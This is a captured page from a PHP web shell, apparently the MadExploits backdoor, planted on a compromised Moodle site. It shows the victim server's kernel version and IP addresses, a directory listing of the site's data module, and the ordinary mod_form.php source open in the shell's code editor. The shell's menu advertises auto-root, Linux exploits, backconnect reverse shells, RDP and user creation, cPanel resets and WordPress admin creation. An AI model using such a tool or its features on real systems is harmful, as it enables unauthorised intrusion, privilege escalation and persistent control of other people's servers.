Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.165
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
mod /
data /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
field
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
preset
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
css.php
1.56
KB
-rw-r--r--
data.js
1.89
KB
-rw-r--r--
deprecatedlib.php
2.43
KB
-rw-r--r--
edit.php
12
KB
-rw-rw-r--
export.php
4.67
KB
-rw-rw-r--
export_form.php
5.48
KB
-rw-r--r--
field.php
13.61
KB
-rw-rw-r--
import.php
3.85
KB
-rw-rw-r--
import_form.php
1.26
KB
-rw-rw-r--
index.php
4.87
KB
-rw-r--r--
js.php
1.57
KB
-rw-r--r--
lib.php
167.64
KB
-rw-rw-r--
locallib.php
55.9
KB
-rw-r--r--
mod_form.php
7.83
KB
-rw-r--r--
preset.php
11.36
KB
-rw-rw-r--
preset_form.php
2.9
KB
-rw-rw-r--
renderer.php
4.23
KB
-rw-rw-r--
rsslib.php
7.33
KB
-rw-r--r--
settings.php
606
B
-rw-r--r--
styles.css
2.68
KB
-rw-rw-r--
tabs.php
5.24
KB
-rw-r--r--
templates.php
15.57
KB
-rw-rw-r--
upgrade.txt
2.08
KB
-rw-r--r--
version.php
1.19
KB
-rw-rw-r--
view.php
25.97
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mod_form.php
<?php if (!defined('MOODLE_INTERNAL')) { die('Direct access to this script is forbidden.'); /// It must be included from a Moodle page } require_once ($CFG->dirroot.'/course/moodleform_mod.php'); class mod_data_mod_form extends moodleform_mod { function definition() { global $CFG, $DB, $OUTPUT; $mform =& $this->_form; //------------------------------------------------------------------------------- $mform->addElement('header', 'general', get_string('general', 'form')); $mform->addElement('text', 'name', get_string('name'), array('size'=>'64')); if (!empty($CFG->formatstringstriptags)) { $mform->setType('name', PARAM_TEXT); } else { $mform->setType('name', PARAM_CLEANHTML); } $mform->addRule('name', null, 'required', null, 'client'); $mform->addRule('name', get_string('maximumchars', '', 255), 'maxlength', 255, 'client'); $this->standard_intro_elements(get_string('intro', 'data')); // ---------------------------------------------------------------------- $mform->addElement('header', 'entrieshdr', get_string('entries', 'data')); $mform->addElement('selectyesno', 'approval', get_string('requireapproval', 'data')); $mform->addHelpButton('approval', 'requireapproval', 'data'); $mform->addElement('selectyesno', 'manageapproved', get_string('manageapproved', 'data')); $mform->addHelpButton('manageapproved', 'manageapproved', 'data'); $mform->setDefault('manageapproved', 1); $mform->hideIf('manageapproved', 'approval', 'eq', 0); $mform->addElement('selectyesno', 'comments', get_string('allowcomments', 'data')); if (empty($CFG->usecomments)) { $mform->hardFreeze('comments'); $mform->setConstant('comments', 0); } $countoptions = array(0=>get_string('none'))+ (array_combine(range(1, DATA_MAX_ENTRIES), // Keys. range(1, DATA_MAX_ENTRIES))); // Values. /*only show fields if there are legacy values from *before completionentries was added*/ if (!empty($this->current->requiredentries)) { $group = array(); $group[] = $mform->createElement('select', 'requiredentries', get_string('requiredentries', 'data'), $countoptions); $mform->addGroup($group, 'requiredentriesgroup', get_string('requiredentries', 'data'), array(''), false); $mform->addHelpButton('requiredentriesgroup', 'requiredentries', 'data'); $mform->addElement('html', $OUTPUT->notification( get_string('requiredentrieswarning', 'data'))); } $mform->addElement('select', 'requiredentriestoview', get_string('requiredentriestoview', 'data'), $countoptions); $mform->addHelpButton('requiredentriestoview', 'requiredentriestoview', 'data'); $mform->addElement('select', 'maxentries', get_string('maxentries', 'data'), $countoptions); $mform->addHelpButton('maxentries', 'maxentries', 'data'); // ---------------------------------------------------------------------- $mform->addElement('header', 'availibilityhdr', get_string('availability')); $mform->addElement('date_time_selector', 'timeavailablefrom', get_string('availablefromdate', 'data'), array('optional' => true)); $mform->addElement('date_time_selector', 'timeavailableto', get_string('availabletodate', 'data'), array('optional' => true)); $mform->addElement('date_time_selector', 'timeviewfrom', get_string('viewfromdate', 'data'), array('optional' => true)); $mform->addElement('date_time_selector', 'timeviewto', get_string('viewtodate', 'data'), array('optional' => true)); // ---------------------------------------------------------------------- if ($CFG->enablerssfeeds && $CFG->data_enablerssfeeds) { $mform->addElement('header', 'rsshdr', get_string('rss')); $mform->addElement('select', 'rssarticles', get_string('numberrssarticles', 'data') , $countoptions); } $this->standard_grading_coursemodule_elements(); $this->standard_coursemodule_elements(); //------------------------------------------------------------------------------- // buttons $this->add_action_buttons(); } /** * Enforce validation rules here * * @param array $data array of ("fieldname"=>value) of submitted data * @param array $files array of uploaded files "element_name"=>tmp_file_path * @return array **/ public function validation($data, $files) { $errors = parent::validation($data, $files); // Check open and close times are consistent. if ($data['timeavailablefrom'] && $data['timeavailableto'] && $data['timeavailableto'] < $data['timeavailablefrom']) { $errors['timeavailableto'] = get_string('availabletodatevalidation', 'data'); } if ($data['timeviewfrom'] && $data['timeviewto'] && $data['timeviewto'] < $data['timeviewfrom']) { $errors['timeviewto'] = get_string('viewtodatevalidation', 'data'); } return $errors; } /** * Display module-specific activity completion rules. * Part of the API defined by moodleform_mod * @return array Array of string IDs of added items, empty array if none */ public function add_completion_rules() { $mform = & $this->_form; $group = array(); $group[] = $mform->createElement('checkbox', 'completionentriesenabled', '', get_string('completionentriescount', 'data')); $group[] = $mform->createElement('text', 'completionentries', get_string('completionentriescount', 'data'), array('size' => '1')); $mform->addGroup($group, 'completionentriesgroup', get_string('completionentries', 'data'), array(' '), false); $mform->disabledIf('completionentries', 'completionentriesenabled', 'notchecked'); $mform->setDefault('completionentries', 1); $mform->setType('completionentries', PARAM_INT); /* This ensures the elements are disabled unless completion rules are enabled */ return array('completionentriesgroup'); } /** * Called during validation. Indicates if a module-specific completion rule is selected. * * @param array $data * @return bool True if one or more rules is enabled, false if none are. */ public function completion_rule_enabled($data) { return ($data['completionentries'] != 0); } /** * Set up the completion checkbox which is not part of standard data. * * @param array $defaultvalues * */ public function data_preprocessing(&$defaultvalues) { parent::data_preprocessing($defaultvalues); $defaultvalues['completionentriesenabled'] = !empty($defaultvalues['completionentries']) ? 1 : 0; if (empty($defaultvalues['completionentries'])) { $defaultvalues['completionentries'] = 1; } } /** * Allows modules to modify the data returned by form get_data(). * This method is also called in the bulk activity completion form. * * Only available on moodleform_mod. * * @param stdClass $data the form data to be modified. */ public function data_postprocessing($data) { parent::data_postprocessing($data); if (!empty($data->completionunlocked)) { $autocompletion = !empty($data->completion) && $data->completion == COMPLETION_TRACKING_AUTOMATIC; if (empty($data->completionentriesenabled) || !$autocompletion) { $data->completionentries = 0; } } } }
Close